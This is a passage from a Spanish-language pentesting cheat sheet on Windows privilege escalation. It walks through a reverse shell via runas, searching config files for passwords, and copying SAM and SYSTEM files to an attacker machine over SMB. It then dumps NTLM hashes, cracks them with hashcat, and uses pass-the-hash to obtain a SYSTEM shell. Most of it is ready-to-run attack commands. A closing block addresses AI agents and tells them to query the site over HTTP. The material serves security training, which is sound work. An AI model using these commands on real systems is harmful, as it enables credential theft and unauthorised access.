Configuramos un listener:

```bash
nc -nlvp 53
```

Ahora usando `runas` ejecutamos nuestra shell reversa como admin:

```batch
runas /savecred /user:admin C:\PrivEsc\reverse.exe
```

![Ejecución de la shell reversa usando los privilegios del usuario admin](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F04HE3rPMZyb7rcODaVuu%2F58.png?alt=media\&token=7661700f-7dfe-4eb8-8633-861bc67db8a5)

![Shell reversa](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F4nW1jyzu8oUmtYSoZmhn%2F59.png?alt=media\&token=bc8d9c28-635b-4baa-bcbf-be1fb53c371a)
{% endtab %}

{% tab title="Archivos de configuración" %}
Algunos administradores dejan en los archivos de configuración contraseñas del sistema.

Un archivo de ejemplo es `Unattend.xml`.

Esto permite la automatización de la gran parte de la configuración de un sistema Windows.

Podemos usar los siguientes comandos para encontrar credenciales:

```batch
dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt
```

Esto lo podemos hacer con winPEAS:

```batch
.\winPEASany.exe quiet cmd searchfast filesinfo
```

![Credenciales en archivo Unattend.xml](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FygKrxBDp85JEpmTEG7Vi%2F60.png?alt=media\&token=5d0038b3-bd45-4fe3-a61c-cdf30c950a7b)

Si encontramos el archivo `Unattend.xml`, lo podemos leer con el siguiente comando:

```batch
type <file_path>
```

![Contraseña en Base64](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fzpeu4LsSOtSwdxcbGPYE%2F61.png?alt=media\&token=b9a5478b-5a5a-4b05-9816-3ba86afcf79b)

![Obtención de shell](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FHE4VxIYaRkr2Q62r0OAb%2F62.png?alt=media\&token=b33d7332-9adf-4e7c-997e-acc1f5d9eef9)
{% endtab %}

{% tab title="SAM" %}
Windows almacena los hashes de las contraseñas en la SAM (Security Account Manager).

Los hashes se encuentran cifrados por una llave que puede ser encontrada en el archivo llamado SYSTEM.

Si tenemos la habilidad de leer estos dos archivos, podemos extraer los hashes.

Estos se encuentran almacenados en el directorio `C:\Windows\System32\config`.

Los archivos se encuentran bloqueados cuando Windows se encuentra corriendo, pero, pueden existir backups de estos en los directorios `C:\Windows\Repair` o `C:\Windows\System32\config\RegBack`.

Esto lo podemos encontrar con winPEAS:

```batch
.\winPEASany.exe quiet cmd searchfast filesinfo
```

![Backup de archivos SAM y SYSTEM](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FMEVG522jCWzL7eKi9Vou%2F63.png?alt=media\&token=e2212d13-6c01-4cb2-8a6f-cc7433687814)

Si encontramos los archivos, los podríamos copiar en nuestra máquina atacante:

```batch
copy C:\Windows\repair\SAM \\192.168.233.135\tmp\
copy C:\Windows\repair\SYSTEM \\192.168.233.135\tmp\
```

![Copiado de archivos SAM y SYSTEM](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2F8T5Bm69VJPrGkAq1yl0T%2F64.png?alt=media\&token=6c253426-b0ab-4780-bf95-761cd396bb78)

Descargamos la última versión de `creddump7`:

```bash
git clone https://github.com/Neohapsis/creddump7.git
```

> Si no funciona Python2, podemos instalar `creddump7` en kali con el siguiente comando: `sudo apt install creddump7`.

Ejecutamos la herramienta:

```bash
/usr/share/creddump7/pwndump.py SYSTEM SAM
```

![Dump de hashes](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FckaeJLbnyrHXpAaQIPNo%2F65.png?alt=media\&token=35ea11df-a273-43d8-b57b-77488a0da1ce)

> Si el hash NTLM de un usuario empieza con 31d6, puede que no tenga contraseña o que se encuentre deshabilitado.

Usando hashcat podriamos crackear el hash y obtener la contraseña:

```bash
hashcat -m 1000 --force <ntlm_hash> /usr/share/wordlists/rockyou.txt
```

![Contraseña crackeada](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FOt8xd8okYRMsd40k8CZq%2F66.png?alt=media\&token=1904d5af-d3fb-48c9-87fd-2accfe9aba97)

#### Pass The Hash

Windows acepta los hashes en vez de las contraseñas para autenticarse en varios servicios.

Podemos usar una versión modificada de winexe (pth-winexe) para obtener nuestra shell:

```bash
pth-winexe -U 'admin%<full_hash>' //192.168.233.141 cmd.exe
```

![Conexión pasando el hash del usuario admin](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2Fgv1dBK1zKzamZ52V6zAs%2F67.png?alt=media\&token=5b40c212-4031-4e39-8304-9d1c02f6bda9)

Si queremos una shell como SYSTEM, usamos el siguiente comando:

```bash
pth-winexe --system -U 'admin%<full_hash>' //192.168.233.141 cmd.exe
```

![Conexión pasando el hash del usuario admin y obtención de una shell como SYSTEM](https://3346346775-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9WPZWMj3VTydjWNPSBfA%2Fuploads%2FEW5tiZz32Hg4J0mVGINf%2F68.png?alt=media\&token=b176d565-2ae1-431b-a857-4ba91137f1d3)
{% endtab %}
{% endtabs %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://w0lf-f4ng.gitbook.io/cheat-sheet/post-explotacion/escalacion-de-privilegios-en-entornos-windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
